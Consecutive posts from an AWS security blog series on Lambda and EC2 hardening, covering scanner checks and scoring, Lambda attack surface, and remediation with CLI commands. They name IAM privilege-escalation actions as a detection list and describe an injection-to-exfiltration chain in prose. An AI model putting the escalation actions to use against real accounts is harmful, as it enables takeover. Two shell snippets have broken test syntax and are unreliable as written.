It flags three distinct conditions, in order of severity. The most severe is admin-equivalent access: the **_AdministratorAccess_**, **_PowerUserAccess_**, or **_IAMFullAccess_** managed policies, or an inline statement that allows **_\*_** on **_\*_**. Next is a service-level wildcard, such as **_s3:\*_** or **_dynamodb:\*_**, which grants every action in a service. Last is privilege escalation: seventeen specific IAM and Lambda actions that let a role grant itself more power than it started with. These include **_iam:CreatePolicyVersion_**, **_iam:AttachRolePolicy_**, **_iam:PassRole_**, **_iam:CreateAccessKey_**, **_lambda:UpdateFunctionCode_**, and others from the well-documented IAM privilege escalation set. A role without literal admin can still reach admin through any one of them, and the scanner treats that as a high-severity finding rather than letting it hide.

Composite Findings

Some risks only exist as combinations. The scanner detects those explicitly:

| Finding | Trigger | Why it matters |
|-------------------------------|--------------------------------------------------------------------------------|---------------------------------------------------------------------------------------|
| Public with no concurrency | A public resource policy or function URL combined with no reserved concurrency | Anyone can invoke the function without limit, turning exposure into uncontrolled cost |
| Public URL with wildcard CORS | A public function URL combined with a wildcard CORS policy | Unauthenticated, cross-origin callable, and reachable from any website |

How Scoring Works

Every function starts at 100 points. Each finding subtracts a fixed deduction. The size of the deduction reflects how directly the issue leads to compromise.

The most severe findings are the ones that expose the function or its credentials:

Public resource policy: minus 25
Public function URL with no authentication: minus 25
Plaintext secrets without KMS encryption: minus 20
Admin-equivalent execution role: minus 20
Blocked runtime: minus 15

High-severity findings cost ten points each: a deprecated runtime, a wildcard CORS policy, a service-level wildcard in the execution role, privilege escalation permissions, a shared execution role, and plaintext secrets that are at least KMS-encrypted.

Medium-severity findings cost five points each: a single-AZ VPC deployment, unrestricted security group egress, a missing or unretained log group, an event source mapping with no failure destination, and no code signing configuration.

Low-severity findings cost two or three points each: external layers, a function with no VPC, a near end-of-life runtime, a code signing policy set to Warn instead of Enforce, the maximum timeout, large ephemeral storage, disabled X-Ray tracing, no dead letter queue, and no reserved concurrency.

The final score is **_max(0, 100 — total deductions)_**.

90 to 100 Excellent Maintain current posture
70 to 89 Good Address minor gaps
50 to 69 Needs improvement Fix the significant risks
0 to 49 Poor Immediate action required

A few checks have overlapping variants, and the scanner never double-counts them. Runtime status applies only the highest of blocked, deprecated, or near-EOL. The secret check applies only one of its two KMS variants. Code signing applies only one of no-config or Warn-policy. Within each of these groups, only the single highest deduction is taken.

How It Runs

The scanner analyzes functions in parallel with a thread pool, five workers by default, adjustable with a flag for accounts with many functions or tighter API rate limits. Each worker gets its own thread-local boto3 session, so there is no shared mutable client state across threads.

The work is split into five checker modules, one per category: function configuration, access control, network security, logging and monitoring, and code and supply chain. Checks that depend on other checks are handled in order. CORS is only evaluated when a function URL exists, and the multi-AZ and egress checks only run when the function is actually attached to a VPC. If a function is not in a VPC, the network checks that do not apply are skipped rather than penalized.

One design choice matters for trust: an **_AccessDenied_** error on a single function does not crash the scan and does not silently pass the function. The error is surfaced as a finding. A scan that could not read something tells you so, instead of reporting a clean result it did not actually verify.

What You Get Back

The scanner writes four artifacts to the output directory:

A JSON report with a summary block (scan time, region, account ID, function count, average score) and a per-function results array. This is the one to feed into a SIEM or archive in S3.
A CSV report with one row per function and its compliance status, for spreadsheets and quick filtering.
An interactive HTML dashboard with score distribution, a compliance overview across all ten frameworks, a severity breakdown, a sortable function table, and a critical findings list. This is the one to show to people who do not live in a terminal.
A per-function compliance report in JSON, generated on every run regardless of the chosen output format.

The Options You Will Actually Use

lambda-security-scanner security [OPTIONS]

| Option | Default | Purpose |
|-----------------------|-------------|-----------------------------------------------|
| `-n, --function-name` | all | Scan only the named function or functions |
| `--exclude-function` | none | Skip the named function or functions |
| `-r, --region` | `us-east-1` | Target AWS region |
| `-p, --profile` | none | AWS CLI profile to use |
| `-o, --output-dir` | `./output` | Where reports are written |
| `-f, --output-format` | `all` | `json`, `csv`, `html`, or `all` |
| `-w, --max-workers` | `5` | Number of parallel worker threads |
| `--compliance-only` | off | Produce only the compliance report |
| `-q, --quiet` | off | Suppress console output except errors, for CI |
| `-d, --debug` | off | Verbose logging |

A few combinations come up constantly:

# Scan two specific functions in another region
lambda-security-scanner security -n my-api -n my-worker -r eu-west-1

# Quiet JSON output for a CI pipeline
lambda-security-scanner security -f json -q

# Compliance posture only, against a named profile
lambda-security-scanner security --compliance-only -p production

It Is Strictly Read-Only

The scanner cannot change anything in your account. It calls only **_List_**, **_Get_**, and **_Describe_** style operations. It cannot modify functions, cannot invoke them, cannot read your function code, and cannot decrypt your secrets. The full permission set is read-only across Lambda, IAM, EC2, and CloudWatch Logs:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": [
      "lambda:ListFunctions",
      "lambda:GetFunctionConfiguration",
      "lambda:GetPolicy",
      "lambda:GetFunctionUrlConfig",
      "lambda:GetFunctionCodeSigningConfig",
      "lambda:GetCodeSigningConfig",
      "lambda:GetFunctionConcurrency",
      "lambda:ListEventSourceMappings",
      "iam:ListAttachedRolePolicies",
      "iam:GetPolicy",
      "iam:GetPolicyVersion",
      "iam:ListRolePolicies",
      "iam:GetRolePolicy",
      "ec2:DescribeSubnets",
      "ec2:DescribeSecurityGroups",
      "logs:DescribeLogGroups",
      "sts:GetCallerIdentity"
    ],
    "Resource": "*"
  }]
}

There is no **_lambda:\*_** and no write action anywhere in that policy. You can hand it to the scanner and know it cannot touch production.

Running It in Docker

If you would rather not install Python locally, the scanner ships as a multi-architecture image for amd64 and arm64 :

docker run --rm \
  -v ~/.aws:/root/.aws:ro \
  -v $(pwd)/output:/app/output \
  tarekcheikh/lambda-security-scanner:latest \
  security --region us-east-1

Mount your AWS credentials read-only, mount a local directory for the reports, and the container does the rest. Credentials can also be passed as environment variables for assumed-role and CI scenarios.

What’s Next

You now have a number for every function and a list of exactly what is wrong with each one. In Part 3, we turn those findings into two things auditors and engineers both need: a mapping from each finding to the compliance controls it satisfies or violates across ten frameworks, and the precise AWS CLI commands that fix every one of the nineteen checks.

Support the Project

The scanner is open source and built for the community. If it caught something real in your account, here is how to pay it forward:

Star it on GitHub so more engineers can find it: https://github.com/TocConsulting/lambda-security-scanner
Open a pull request if you fix a bug or tighten a check.
Propose a new check or framework by opening an issue. Real-world gaps make the best feature requests.
Share it with your team and your network. Visibility is what keeps an open-source security tool alive.

The project is open source under the MIT license:

Source: https://github.com/TocConsulting/lambda-security-scanner
Package: https://pypi.org/project/lambda-security-scanner/

Serverless Doesn’t Mean Secure: The State of AWS Lambda Security in 2026

Tarek CHEIKH — Fri, 05 Jun 2026 23:14:43 +0000

Part 1 of 4 in the Lambda Security Series

“ It’s serverless. There’s no server to hack. ”

I hear this in almost every architecture review. It is one of the most expensive misconceptions in cloud security.

AWS does run the servers. AWS patches the host operating system, isolates the execution environment, and keeps the control plane healthy. That part is real, and it is genuinely better than managing your own fleet. But everything that actually gets your account breached still belongs to you: the code, the IAM permissions attached to the function, the environment variables, the network configuration, and the events that trigger the function. None of that is AWS’s job. All of it is yours.

This is the part of the shared responsibility model that teams skip when they move to Lambda. They assume “managed” means “secure.” It does not. It means the attack surface moved, and most of it moved closer to your code.

Where the Attack Surface Actually Lives

A Lambda function is a small unit of compute with an IAM role bolted to it, a set of environment variables, optional network access, and one or more triggers. Each of those is a place where things go wrong.

Overprivileged execution roles

Every Lambda function assumes an IAM role when it runs. That role is the function’s identity inside your account. Whatever the role can do, the function can do, and whatever the function can do, an attacker who finds a flaw in your function code can do.

The failure mode is always the same. A function needs to read from one S3 bucket. Writing a scoped policy takes ten minutes, so someone attaches **_AdministratorAccess_** instead and moves on. Now a single injection bug, a vulnerable dependency, or a server-side request forgery in that function is no longer a function-level problem. It is an account-level compromise. This is the same blast-radius mistake that turned a single misconfigured component into the Capital One breach, and serverless does nothing to prevent it. If anything, it makes the mistake easier to ship, because the role is invisible in the function’s day-to-day behavior.

Least privilege is not a nice-to-have in serverless. The execution role is the primary security control.

Secrets in environment variables

Environment variables feel like a natural place to put configuration, so people put secrets there too:

DB_PASSWORD=MyPr0ductionP@ss!
STRIPE_SECRET=sk_live_26PHem9AhJZvU623DfE1x4sd
GITHUB_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Lambda environment variables are not a secret store. By default, anyone with **_lambda:GetFunctionConfiguration_** on the function can read every variable in plaintext. That permission is extremely common. It is included in read-only and developer roles, it shows up in CI pipelines, and it is exactly the kind of low-value permission that gets handed out without much thought. The moment a secret lands in an environment variable, its security depends entirely on nobody ever holding a fairly ordinary read permission.

AWS Secrets Manager and SSM Parameter Store exist precisely for this. The correct pattern is to store a reference, such as a Secrets Manager ARN or an SSM parameter path, and resolve the real value at runtime. The variable then contains a pointer, not a credential.

Public function URLs and wildcard CORS

Lambda function URLs are a fast way to put an HTTP endpoint in front of a function without an API Gateway. They are also a fast way to put a function on the public internet by accident.

A function URL has an **_AuthType_**. Set it to **_AWS\_IAM_** and callers must sign their requests. Set it to **_NONE_** and anyone with the URL can invoke the function: no authentication, no authorization, just a POST request. Pair that with a wildcard CORS policy (**_AllowOrigins: \*_**) and you have published a cross-origin callable, unauthenticated HTTP endpoint that runs your code and assumes your execution role. Attackers scan for these continuously.

Public resource policies

A function also has a resource-based policy that controls who is allowed to invoke it. A statement with **_Principal: \*_** and no conditions means any AWS principal, in any account, can call your function. It is the serverless equivalent of leaving a database open to the world, and it is easy to create when you are wiring up cross-account access and reach for a wildcard to make the error message go away.

Deprecated runtimes

When AWS deprecates a runtime, that runtime stops receiving security patches. The function keeps running, which is exactly why this risk is so easy to ignore. Nothing breaks. The code just sits on an unpatched base image, accumulating known vulnerabilities that will never be fixed.

The schedule is real and it moves every few months. As of May 2026, the current supported runtimes are: Python 3.14 and Python 3.13 and 3.12 and Python 3.11 and Python 3.10, Node.js 24 and Node.js 22, Java 25 and Java 21 and Java 17 and Java 11 and Java 8, .NET 10 and .NET 9 (Container Only) and .NET 8, Ruby 4 and Ruby 3.4 and Ruby 3.3, and the OS-only **_provided.al2023_** and **_provided.al2_**. The recently deprecated list is long and growing: Python 3.9 reached deprecation on December 15, 2025, Ruby 3.2 on March 31, 2026, and Node.js 20 on April 30, 2026. Python 3.8 has been deprecated since October 2024.

There is a subtlety that keeps deprecated runtimes alive far longer than they should be. AWS extended the “block function update” date for most legacy runtimes to March 3, 2027. Until that date, a function on a deprecated runtime still runs and can still be updated, so there is no hard forcing function. Teams see no error and assume there is no problem. The vulnerabilities are still there.

Event-data injection

A Lambda function rarely sits behind a single, well-understood entry point. It receives events from S3 notifications, API Gateway, SNS, SQS, DynamoDB streams, EventBridge, and more. Each source is a separate trust boundary, and each one can carry untrusted input straight into your code. The OWASP Serverless Top 10 lists event-data injection as the top serverless risk for this reason. The attack surface is wider than a traditional web app because the entry points are less obvious, and a successful injection inherits whatever the execution role grants. Overprivileged roles and injection are the same problem viewed from two angles.

This Has Already Happened

Serverless incidents are underreported, because most organizations never disclose them. Two public cases are worth knowing because they map directly to the risks above.

In 2022, researchers at Cado Security documented Denonia, described as the first malware specifically targeting AWS Lambda. Denonia is a Go wrapper around the XMRig cryptominer, built to run inside the Lambda execution environment. Cado noted that the deployment method was not confirmed, with the most likely explanation being stolen or leaked AWS access keys used to create the functions. The lesson is not the miner itself. It is that valid credentials plus the ability to create Lambda functions is enough to turn your account into someone else’s compute.

OWASP maintains ServerlessGoat , a deliberately vulnerable Lambda application used for training. It is a small document-to-text converter that takes a URL and runs it through a shell command. Because user input flows directly into that command, it is vulnerable to OS command injection. The documented exploit chain uses that injection to read the function’s own source code, dump its environment variables, and exfiltrate data from the DynamoDB table the function can reach, all through the function’s execution role. It is a clean, reproducible demonstration of how one injection bug plus one overpermissive role becomes data loss.

Why This Is Hard to See

None of these problems announce themselves. A public function URL returns a normal response. A function with **_AdministratorAccess_** behaves exactly like one with a scoped role until the day it is abused. A deprecated runtime runs without warnings. A secret in an environment variable works perfectly.

The other half of the problem is scale. A real account has dozens or hundreds of functions, spread across regions, owned by different teams, deployed by different pipelines. Reviewing them by hand means opening each function, reading its resource policy, inspecting its execution role, decoding its environment variables, and cross-referencing the runtime deprecation schedule, one function at a time, in every region. Nobody does this consistently, which is why the gaps persist.

That is the visibility problem, and it is the problem this series is about.

What’s Next

Before you read Part 2, you can find the most dangerous misconfiguration in a few seconds. This lists every function URL in a region and its authentication type:

for func in $(aws lambda list-functions \
  --query "Functions[*].FunctionName" --output text); do
  URL_CONFIG=$(aws lambda get-function-url-config \
    --function-name "$func" 2>/dev/null)
  if [$? -eq 0]; then
    AUTH=$(echo "$URL_CONFIG" | grep -o '"AuthType": "[^"]*"')
    echo "$func: $AUTH"
  fi
done

Any line that shows **_AuthType: NONE_** is a function anyone on the internet can invoke.

In Part 2, I introduce lambda-security-scanner, an open-source tool that runs nineteen checks against every function in your account, scores each one from 0 to 100, and tells you exactly what is wrong and how severe it is. In Part 3, we map every finding to ten compliance frameworks and walk through the AWS CLI commands that fix each issue. In Part 4, we go past configuration into the application layer: the code itself, its dependencies, and the credentials it holds.

Sources:

OWASP Serverless Top 10 (https://owasp.org/www-project-serverless-top-10/)
Cado Security: Denonia, the first malware specifically targeting Lambda (2022) (https://www.cadosecurity.com/blog/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda)
OWASP ServerlessGoat (https://github.com/OWASP/Serverless-Goat)
AWS Lambda runtime deprecation policy and schedule (https://docs.aws.amazon.com/lambda/latest/dg/lambda-runtimes.html)

Fixing EC2 Security Issues: A Practical Remediation Guide

Tarek CHEIKH — Tue, 02 Jun 2026 20:51:00 +0000

Part 3 of 3 in the EC2 Security Series

You ran the scanner from Part 2. You got your scores: each instance graded from 0 to 100 across 46 checks in 8 categories (A through H), plus a separate environment score for account and VPC posture. Some of those scores aren’t great.

Now let’s fix everything.

This guide maps directly to the scanner’s findings. AWS CLI commands, Terraform snippets, and console steps you can use right now.

A word of caution: Some of these changes (VPC Block Public Access, default security group lockdown, IMDSv2 enforcement) can break running workloads if applied blindly. Test in staging first. Audit before you enforce.

Category A: Instance Security

A.1 / A.2: Enforce IMDSv2

This is the single most impactful fix you can make. IMDSv1 was the attack vector behind the Capital One breach.

For existing instances:

aws ec2 modify-instance-metadata-options \
  --instance-id i-0123456789abcdef0 \
  --http-tokens required \
  --http-endpoint enabled

For all instances in a region (audit IMDSv1 usage first, enforcing this will break apps that rely on IMDSv1):

# First, find instances still using IMDSv1
aws ec2 describe-instances \
  --query "Reservations[*].Instances[?MetadataOptions.HttpTokens!='required'].[InstanceId,Tags[?Key=='Name'].Value|[0]]" \
  --output table

# Then enforce IMDSv2 on all instances
for id in $(aws ec2 describe-instances \
  --query "Reservations[*].Instances[*].InstanceId" \
  --output text); do
  aws ec2 modify-instance-metadata-options \
    --instance-id "$id" \
    --http-tokens required \
    --http-endpoint enabled
done

For launch templates (A.2):

aws ec2 create-launch-template-version \
  --launch-template-id lt-0123456789abcdef0 \
  --source-version '$Latest' \
  --launch-template-data '{"MetadataOptions":{"HttpTokens":"required","HttpEndpoint":"enabled"}}'

Terraform:

resource "aws_instance" "example" {
  metadata_options {
    http_tokens = "required"
    http_endpoint = "enabled"
  }
}

Account-wide default (prevents new instances from using IMDSv1):

aws ec2 modify-instance-metadata-defaults \
  --region us-east-1 \
  --http-tokens required

A.3: Remove Public IPs

If your instance doesn’t need to be directly reachable from the internet, remove the public IP.

# Disassociate an Elastic IP
aws ec2 disassociate-address --association-id eipassoc-0123456789abcdef0

# For auto-assigned public IPs: stop the instance, change the subnet setting,
# or launch in a private subnet behind a NAT Gateway or VPC endpoint.

Better approach : use AWS Systems Manager Session Manager for access instead of SSH over public IPs.

A.4: Attach IAM Instance Profiles

Every EC2 instance that talks to AWS services needs an IAM role. No hardcoded credentials.

aws ec2 associate-iam-instance-profile \
  --instance-id i-0123456789abcdef0 \
  --iam-instance-profile Name=my-instance-role

A.8: Remove Secrets from UserData

There’s no “fix” button for this. You need to:

Rotate every credential found in UserData immediately
Move secrets to AWS Secrets Manager or SSM Parameter Store
Update your launch scripts to fetch secrets at runtime

# Store a secret in SSM Parameter Store (or Secrets Manager)
aws ssm put-parameter \
  --name "/myapp/db-password" \
  --type SecureString \
  --value "your-password"

# Fetch it in UserData at boot time
DB_PASS=$(aws ssm get-parameter \
  --name "/myapp/db-password" \
  --with-decryption \
  --query "Parameter.Value" \
  --output text)

Then clear the old UserData (instance must be stopped):

aws ec2 stop-instances --instance-ids i-0123456789abcdef0
aws ec2 modify-instance-attribute \
  --instance-id i-0123456789abcdef0 \
  --attribute userData \
  --value ""
aws ec2 start-instances --instance-ids i-0123456789abcdef0

Category B: Network Security

B.1: Lock Down the Default Security Group

The VPC default security group should have zero rules. No inbound, no outbound.

# Get default SG ID
DEFAULT_SG=$(aws ec2 describe-security-groups \
  --filters "Name=group-name,Values=default" \
            "Name=vpc-id,Values=vpc-0123456789abcdef0" \
  --query "SecurityGroups[0].GroupId" --output text)

# Revoke all inbound rules
aws ec2 revoke-security-group-ingress \
  --group-id "$DEFAULT_SG" \
  --ip-permissions "$(aws ec2 describe-security-groups \
    --group-ids "$DEFAULT_SG" \
    --query 'SecurityGroups[0].IpPermissions' --output json)"

# Revoke all outbound rules
aws ec2 revoke-security-group-egress \
  --group-id "$DEFAULT_SG" \
  --ip-permissions "$(aws ec2 describe-security-groups \
    --group-ids "$DEFAULT_SG" \
    --query 'SecurityGroups[0].IpPermissionsEgress' --output json)"

B.2 / B.3 / B.4 / B.5: Close Open Ports

Remove rules that allow **_0.0.0.0/0_** or **_::/0_** to sensitive ports.

# Remove SSH from world
aws ec2 revoke-security-group-ingress \
  --group-id sg-0123456789abcdef0 \
  --protocol tcp --port 22 --cidr 0.0.0.0/0

Replace with specific CIDR ranges or use EC2 Instance Connect / SSM Session Manager.

B.6: Enable VPC Flow Logs

aws ec2 create-flow-logs \
  --resource-type VPC \
  --resource-ids vpc-0123456789abcdef0 \
  --traffic-type ALL \
  --log-destination-type cloud-watch-logs \
  --log-group-name /vpc/flow-logs \
  --deliver-logs-permission-arn arn:aws:iam::123456789012:role/flow-logs-role

Terraform :

resource "aws_flow_log" "vpc" {
  vpc_id = aws_vpc.main.id
  traffic_type = "ALL"
  log_destination = aws_cloudwatch_log_group.flow_logs.arn
  iam_role_arn = aws_iam_role.flow_logs.arn
}

B.9: Restrict Egress

Don’t allow all outbound traffic by default. Restrict to what your application actually needs.

# Remove the default "allow all" egress rule
aws ec2 revoke-security-group-egress \
  --group-id sg-0123456789abcdef0 \
  --ip-permissions '[{"IpProtocol":"-1","IpRanges":[{"CidrIp":"0.0.0.0/0"}]}]'

# Add specific egress rules (e.g., HTTPS only)
aws ec2 authorize-security-group-egress \
  --group-id sg-0123456789abcdef0 \
  --protocol tcp --port 443 --cidr 0.0.0.0/0

Category C: Storage Security

C.1 / C.2: Enable EBS Encryption

Account-level default (all new volumes encrypted automatically):

aws ec2 enable-ebs-encryption-by-default --region us-east-1

Do this in every region:

for region in $(aws ec2 describe-regions --query "Regions[*].RegionName" --output text); do
  aws ec2 enable-ebs-encryption-by-default --region "$region"
  echo "Enabled EBS encryption in $region"
done

For existing unencrypted volumes, you need to create an encrypted snapshot and replace the volume.

C.3: Fix Public EBS Snapshots

# Find public snapshots (describe-snapshots doesn't include permissions,
# so we check each snapshot individually)
for snap in $(aws ec2 describe-snapshots --owner-ids self \
  --query "Snapshots[*].SnapshotId" --output text); do
  PERM=$(aws ec2 describe-snapshot-attribute \
    --snapshot-id "$snap" \
    --attribute createVolumePermission \
    --query "CreateVolumePermissions[?Group=='all']" \
    --output text)
  [-n "$PERM"] && echo "PUBLIC: $snap"
done

# Remove public access
aws ec2 modify-snapshot-attribute \
  --snapshot-id snap-0123456789abcdef0 \
  --attribute createVolumePermission \
  --operation-type remove \
  --group-names all

C.6: Fix Public AMIs

# Find your public AMIs
aws ec2 describe-images --owners self \
  --query "Images[?Public==\`true\`].[ImageId,Name]" --output table

# Make them private
aws ec2 modify-image-attribute \
  --image-id ami-0123456789abcdef0 \
  --launch-permission "Remove=[{Group=all}]"

Category D: Access Control

D.1: Remove Admin Permissions from Instance Roles

Check what’s attached:

ROLE_NAME="my-instance-role"
aws iam list-attached-role-policies --role-name "$ROLE_NAME"

Remove overprivileged policies:

aws iam detach-role-policy \
  --role-name "$ROLE_NAME" \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Replace with least-privilege policies. Use **IAM Access Analyzer** to generate policies based on actual usage:

aws accessanalyzer start-policy-generation \
  --policy-generation-details '{"principalArn":"arn:aws:iam::123456789012:role/my-instance-role"}'

D.3: Disable Serial Console Access

aws ec2 disable-serial-console-access --region us-east-1

Category E: Logging & Monitoring

E.1: Enable CloudTrail

aws cloudtrail create-trail \
  --name management-trail \
  --s3-bucket-name my-cloudtrail-bucket \
  --is-multi-region-trail \
  --enable-log-file-validation

aws cloudtrail start-logging --name management-trail

E.3: Enable SSM

Install the SSM Agent (most Amazon Linux and Windows AMIs have it pre-installed):

# Verify SSM agent is running
aws ssm describe-instance-information \
  --query "InstanceInformationList[*].[InstanceId,PingStatus]" \
  --output table

The instance’s IAM role needs the **_AmazonSSMManagedInstanceCore_** policy.

E.4: Enable GuardDuty

aws guardduty create-detector \
  --enable \
  --features '[{"Name":"RUNTIME_MONITORING","Status":"ENABLED"},{"Name":"EBS_MALWARE_PROTECTION","Status":"ENABLED"}]'

Category F: Patch & Vulnerability

F.1: Fix Missing Patches

# Create a patch baseline
aws ssm create-patch-baseline \
  --name "production-baseline" \
  --approval-rules '{"PatchRules":[{"PatchFilterGroup":{"PatchFilters":[{"Key":"SEVERITY","Values":["Critical","Important"]}]},"ApproveAfterDays":7}]}'

# Run patching now
aws ssm send-command \
  --document-name "AWS-RunPatchBaseline" \
  --targets "Key=instanceids,Values=i-0123456789abcdef0" \
  --parameters "Operation=Install"

F.2: Update Stale AMIs

AMIs older than 180 days are flagged. Build fresh AMIs regularly:

# Create a new AMI from a patched instance
aws ec2 create-image \
  --instance-id i-0123456789abcdef0 \
  --name "my-app-$(date +%Y%m%d)" \
  --no-reboot

Better: use EC2 Image Builder to automate AMI pipelines.

F.3: Enable Inspector v2

aws inspector2 enable --resource-types EC2

Category G: Network Exposure

G.1: Release Unused Elastic IPs

# Find unused EIPs
aws ec2 describe-addresses \
  --query "Addresses[?AssociationId==null].[AllocationId,PublicIp]" \
  --output table

# Release them
aws ec2 release-address --allocation-id eipalloc-0123456789abcdef0

G.3: Disable Subnet Auto-Assign Public IP

aws ec2 modify-subnet-attribute \
  --subnet-id subnet-0123456789abcdef0 \
  --no-map-public-ip-on-launch

G.4: Enable VPC Block Public Access

aws ec2 modify-vpc-block-public-access-options \
  --internet-gateway-block-mode block-bidirectional

G.5: Disable Transit Gateway Auto-Accept

aws ec2 modify-transit-gateway \
  --transit-gateway-id tgw-0123456789abcdef0 \
  --options AutoAcceptSharedAttachments=disable

Category H: Tagging & Inventory

H.1: Add Required Tags

aws ec2 create-tags \
  --resources i-0123456789abcdef0 \
  --tags Key=Name,Value=my-app-server \
         Key=Environment,Value=production \
         Key=Owner,Value=platform-team

Enforce tags at the organization level with AWS Organizations tag policies.

H.2: Clean Up Stopped Instances

Instances stopped for over 30 days are flagged. Either:

Terminate them if no longer needed
Create an AMI first, then terminate
Document why they need to stay stopped

# Create AMI before terminating
aws ec2 create-image --instance-id i-0123456789abcdef0 \
  --name "backup-before-termination-$(date +%Y%m%d)"

# Then terminate
aws ec2 terminate-instances --instance-ids i-0123456789abcdef0

H.3: Remove Unused Security Groups

# The scanner flags SGs not attached to any ENI
# Verify and delete
aws ec2 delete-security-group --group-id sg-0123456789abcdef0

Priority Order

Don’t try to fix everything at once. Here’s the order that matters:

CRITICAL first : Secrets in UserData (-25), public AMIs (-20), public snapshots (-20). These are active data exposure risks. Fix today.
Security group ports : SSH/RDP/high-risk ports open to world (up to -20). Close them or restrict to specific CIDRs.
IMDSv2 : Enforce on all instances (-15). The single highest-impact security improvement.
IAM roles : Remove admin/wildcard permissions (-15). Scope down to least privilege.
Encryption : Enable EBS default encryption (-5 to -10). Turn it on everywhere.
Logging : CloudTrail, VPC flow logs, GuardDuty (-10 each). You can’t detect threats you can’t see.
Everything else : Tags, stopped instances, unused resources. Important for hygiene, lower urgency.

Automation

Don’t do this manually every time. Set up guardrails:

AWS Config Rules : Automatically detect non-compliant resources
AWS Organizations SCPs : Prevent insecure configurations at the org level
Terraform/CloudFormation : Enforce security in your IaC templates
CI/CD pipeline checks : Scan templates before deployment
Schedule the scanner : Run weekly, compare scores, track progress

# Example: weekly scan via cron
0 6 * * 1 ec2-security-scanner security -p production -r us-east-1 -q

Wrapping Up

That’s the full EC2 security series. Part 1 showed you the risks. Part 2 gave you the scanner. Part 3 gave you the fixes.

46 checks. 137 controls. Every fix you need. No excuses left.

Support the Project

This series and the scanner behind it are open source and free. If they helped you lock down your account, here is how to give back:

Star it on GitHub so more engineers can find it: https://github.com/TocConsulting/ec2-security-scanner
Open a pull request to fix a bug, add a remediation, or tighten a check.
Propose a new check or compliance framework by opening an issue. The best ideas come from real production gaps.
Share it with your team and your network. Reach is what gives an open-source security tool a fighting chance.

Cloud attacks are getting faster and more automated in the AI era. The more contributors and eyes on tools like this, the harder we make it for attackers. Every star, issue, and pull request pushes cloud security forward.

GitHub: https://github.com/TocConsulting/ec2-security-scanner

PyPI : https://pypi.org/project/ec2-security-scanner/

If you found this series useful, follow me for more AWS security content. IAM, RDS, Lambda, and ECS/EKS series are coming next.

Building an EC2 Security Scanner: 46 Checks, 137 Controls, Zero Excuses

Tarek CHEIKH — Tue, 02 Jun 2026 20:50:39 +0000

Part 2 of 3 in the EC2 Security Series

Your security team wants a compliance report. Your next audit is in two weeks. You have 47 EC2 instances and no idea which ones are actually locked down.

In Part 1, I showed you everything that can go wrong with EC2 security. Public instances, open ports, IMDSv1, secrets in UserData, public snapshots, the list goes on.

Now let me show you how to find all of it. One command.

The Problem With Manual Checks

You could write a script. I’ve done it. Everyone has.

# Check IMDSv2...
aws ec2 describe-instances --query "..." --output json

# Check security groups...
aws ec2 describe-security-groups --filters "..." --output json

# Check EBS encryption...
aws ec2 describe-volumes --query "..." --output json

Repeat 46 times. Parse the JSON. Handle pagination. Deal with rate limits. Cover all edge cases. Then format a report for your security team. Then map everything to compliance frameworks. Then do it again next month.

That’s not a script. That’s a full-time job.

One Command

pip install ec2-security-scanner

Then:

ec2-security-scanner security

That’s it. 46 security checks. 8 categories. 10 compliance frameworks. 137 controls. Every running EC2 instance in your account. Scored from 0 to 100.

What It Checks

Category A: Instance Security (8 checks)

| ID | Check | What It Catches |
|-----|------------------------|--------------------------------------------------------------|
| A.1 | IMDSv2 enforcement | Instances still using IMDSv1 (the Capital One attack vector) |
| A.2 | Launch template IMDSv2 | Templates that will create insecure instances |
| A.3 | Public IP | Instances directly exposed to the internet |
| A.4 | IAM instance profile | Instances with no IAM role (can't use AWS services securely) |
| A.5 | Virtualization type | Paravirtual instances (legacy, less secure than HVM) |
| A.6 | Multiple ENIs | Dual-homed instances spanning network boundaries |
| A.7 | Detailed monitoring | CloudWatch basic vs. detailed monitoring |
| A.8 | UserData secrets | AWS keys, passwords, API tokens hardcoded in launch scripts |

A.8 scans for 24 secret patterns including AWS access keys, database passwords, GitHub tokens, Slack tokens, private keys, and more. It decodes the base64 UserData and runs regex matching against every line.

Category B: Network Security (11 checks)

| ID | Check | What It Catches |
|------|------------------------|---------------------------------------------------------------------|
| B.1 | Default security group | VPC default SG with rules (should be empty) |
| B.2 | SSH open to world | Port 22 accessible from `0.0.0.0/0` or `::/0` |
| B.3 | RDP open to world | Port 3389 accessible from `0.0.0.0/0` or `::/0` |
| B.4 | High-risk ports | 24 dangerous ports open to the internet |
| B.5 | Remote admin ports | SSH, RDP, WinRM (5985/5986) open to world |
| B.6 | VPC flow logs | No flow logs enabled on the VPC |
| B.7 | NACL admin ports | Network ACLs allowing 0.0.0.0/0 to ports 22/3389 |
| B.8 | Source/dest check | Source/destination check disabled on ENIs |
| B.9 | Unrestricted egress | Security groups allowing all outbound traffic |
| B.10 | Unauthorized ports | Only ports 80/443 should be open to the world |
| B.11 | VPN IKEv2 | Site-to-Site VPN tunnels permitting the weaker IKEv1 (FSBP EC2.183) |

The 24 high-risk ports (B.4): 20, 21, 22, 23, 25, 110, 135, 143, 445, 1433, 1434, 3000, 3306, 3389, 4333, 5000, 5432, 5500, 5601, 8080, 8088, 8888, 9200, 9300.

Category C: Storage Security (7 checks)

| ID | Check | What It Catches |
|-----|----------------------------------|-----------------------------------------------------------------|
| C.1 | EBS volume encryption | Unencrypted attached volumes |
| C.2 | EBS default encryption | Account-level EBS encryption not enabled |
| C.3 | Public EBS snapshots | Snapshots restorable by anyone |
| C.4 | EBS backup coverage | Volumes not covered by AWS Backup |
| C.5 | Launch template EBS encryption | Templates creating unencrypted volumes |
| C.6 | Public AMIs | Account-owned AMIs shared publicly |
| C.7 | EBS snapshot block public access | Account-level snapshot public-access not blocked (FSBP EC2.182) |

Category D: Access Control (4 checks)

| ID | Check | What It Catches |
|-----|----------------------|--------------------------------------------------------------|
| D.1 | IAM role permissions | `AdministratorAccess`, `PowerUserAccess`, or `*:*` wildcards |
| D.2 | Key pair usage | SSH key pairs without SSM management |
| D.3 | Serial console | EC2 serial console access enabled at account level |
| D.4 | Instance Connect | No EC2 Instance Connect endpoints in the VPC |

Category E: Logging & Monitoring (4 checks)

| ID | Check | What It Catches |
|-----|-------------------|---------------------------------------------------------------|
| E.1 | CloudTrail | No active trail with logging enabled |
| E.2 | CloudWatch alarms | No alarms configured for the instance |
| E.3 | SSM managed | Instance not in Systems Manager inventory |
| E.4 | GuardDuty | GuardDuty disabled, missing runtime or EBS malware protection |

Category F: Patch & Vulnerability (3 checks)

| ID | Check | What It Catches |
